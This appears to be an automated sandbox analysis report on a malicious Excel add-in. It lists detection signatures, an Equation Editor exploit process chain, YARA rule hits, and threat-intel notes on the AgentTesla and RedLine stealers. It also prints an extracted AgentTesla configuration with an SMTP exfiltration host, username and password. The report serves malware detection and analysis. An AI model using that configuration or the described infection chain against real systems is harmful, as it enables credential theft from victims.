Edit tour

Windows Analysis Report
PO 2_5_24.xlam.xlsx

Overview

General Information

Sample name:	PO 2_5_24.xlam.xlsx
Analysis ID:	1435421
MD5:	989feda4871b86bfbcec9debb0b2ec45
SHA1:	05ef3f9b7d77b9709423222a81d670cbcae013cd
SHA256:	26fcc106f92623f06b5eb2e87b2e2e58a2ad9eea51de7d15a15b85dafe44b937
Tags:	AgentTeslaxlamxlsx
Infos:

Detection

AgentTesla, PureLog Stealer, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected AgentTesla

Yara detected PureLog Stealer

Yara detected RedLine Stealer

.NET source code contains method to dynamically call methods (often used by packers)

Binary is likely a compiled AutoIt script file

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Shellcode detected

Sigma detected: Equation Editor Network Connection

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1740 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2064 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

CKK.exe (PID: 2544 cmdline: "C:\Users\user\AppData\Roaming\CKK.exe" MD5: 6DBF70053A37B13C106C623E0934DDFF)

RegSvcs.exe (PID: 1128 cmdline: "C:\Users\user\AppData\Roaming\CKK.exe" MD5: 19855C0DC5BEC9FDF925307C57F9F5FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.kino2.top", "Username": "serverizu09@kino2.top", "Password": "     XY%R[udi4U]=    "}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x24c3:$s1: <legacyDrawing r:id=" 0x24eb:$s2: <oleObject progId=" 0x2540:$s3: autoLoad="true"

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f5d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f649:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f6d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f765:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f7cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f841:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f8d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f967:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x404bf:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x40531:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x405bb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4064d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x406b7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40729:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x407bf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4084f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 98 88 44 24 2B 88 44 24 2F B0 CA 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 98 88 44 24 2B 88 44 24 2F B0 CA 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.608494898.0000000002493000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 1128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 1128	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.RegSvcs.exe.450ee8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.450ee8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.450ee8.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.450ee8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3d7d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3d849:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3d8d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3d965:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3d9cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3da41:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3dad7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3db67:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.450000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.450000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.450000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.450000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3e6bf:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3e731:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3e7bb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3e84d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3e8b7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3e929:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3e9bf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3ea4f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.450000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.450000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.450000.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.450000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x404bf:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x40531:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x405bb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4064d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x406b7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40729:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x407bf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4084f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4.2.RegSvcs.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 98 88 44 24 2B 88 44 24 2F B0 CA 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 98 88 44 24 2B 88 44 24 2F B0 CA 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
4.2.RegSvcs.exe.a6ff36.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.a6ff36.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.a6ff36.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.a6ff36.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f5d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f649:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f6d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f765:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f7cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f841:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f8d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f967:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.CKK.exe.140000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
3.2.CKK.exe.140000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 98 88 44 24 2B 88 44 24 2F B0 CA 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
4.2.RegSvcs.exe.a6f04e.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.a6f04e.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.a6f04e.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.a6f04e.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x404bf:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x40531:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x405bb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4064d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x406b7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40729:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x407bf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4084f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.3446458.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.3446458.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.3446458.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.3446458.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3d7d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3d849:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3d8d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3d965:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3d9cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3da41:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3dad7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3db67:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.4c0000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.4c0000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.4c0000.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.4c0000.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3d7d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3d849:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3d8d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3d965:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3d9cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3da41:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3dad7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3db67:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.3497170.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.3497170.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.3497170.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.3497170.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3d7d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3d849:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3d8d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3d965:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3d9cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3da41:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3dad7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3db67:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.a6f04e.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.a6f04e.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.a6f04e.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.a6f04e.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3e6bf:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3e731:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3e7bb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3e84d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3e8b7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3e929:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3e9bf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3ea4f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.450ee8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.450ee8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.450ee8.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.450ee8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f5d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f649:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f6d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f765:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f7cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f841:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f8d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f967:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.4c0000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.4c0000.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.4c0000.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.4c0000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f5d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f649:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f6d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f765:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f7cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f841:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f8d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f967:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.3497170.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.3497170.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.3497170.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
